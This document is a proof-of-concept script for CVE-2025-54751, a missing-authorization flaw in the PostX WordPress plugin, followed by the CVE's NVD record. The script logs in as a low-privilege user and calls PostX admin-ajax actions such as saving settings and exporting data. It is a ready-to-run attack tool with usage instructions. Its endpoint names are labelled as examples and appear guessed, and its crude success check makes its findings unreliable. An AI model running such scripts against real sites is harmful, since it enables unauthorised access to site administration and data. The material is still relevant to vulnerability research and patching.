CVE-2025-54751

# CVE-2025-54751 PoC - PostX Plugin Broken Access Control # Target: WordPress site with PostX plugin <= 4.1.36 import requests import sys def check_vulnerability(target_url, username, password): """ Check if the target is vulnerable to CVE-2025-54751 This PoC demonstrates accessing admin functions with low-privilege user """ # Setup session session = requests.Session() # Login as low-privilege user login_url = f"{target_url}/wp-login.php" login_data = { 'log': username, 'pwd': password, 'wp-submit': 'Log In', 'redirect_to': '/wp-admin/', 'testcookie': '1' } print(f"[*] Logging in as low-privilege user: {username}") response = session.post(login_url, data=login_data) if 'wordpress_logged_in' not in session.cookies: print("[-] Login failed") return False print("[+] Login successful") # Try to access PostX admin functionality (requires higher privileges) # Example: Access plugin settings or post management endpoints postx_endpoints = [ '/wp-admin/admin-ajax.php?action=postx_get_posts', '/wp-admin/admin-ajax.php?action=postx_save_settings', '/wp-admin/admin-ajax.php?action=postx_export_data' ] print("[*] Testing PostX admin endpoints with low-privilege session...") for endpoint in postx_endpoints: url = target_url + endpoint try: response = session.get(url, timeout=10) # If we get a 200 response instead of 403/401, vulnerability exists if response.status_code == 200 and 'error' not in response.text.lower(): print(f"[+] VULNERABLE: {endpoint} accessible with low privileges") print(f" Response preview: {response.text[:200]}...") else: print(f"[-] Protected: {endpoint}") except Exception as e: print(f"[-] Error testing {endpoint}: {e}") return True if __name__ == "__main__": if len(sys.argv) < 4: print("Usage: python poc.py <target_url> <username> <password>") print("Example: python poc.py http://example.com subscriber password123") sys.exit(1) target = sys.argv[1] user = sys.argv[2] pwd = sys.argv[3] check_vulnerability(target, user, pwd)

{"cve": {"id": "CVE-2025-54751", "sourceIdentifier": "[email protected]", "published": "2025-12-18T08:15:56.323", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Missing Authorization vulnerability in WPXPO PostX ultimate-post allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects PostX: from n/a through <= 4.1.36."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:H/A:N", "baseScore": 7.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 4.2}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-862"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/ultimate-post/vulnerability/wordpress-postx-plugin-4-1-36-broken-access-control-vulnerability?_s_id=cve", "source": "[email protected]"}]}}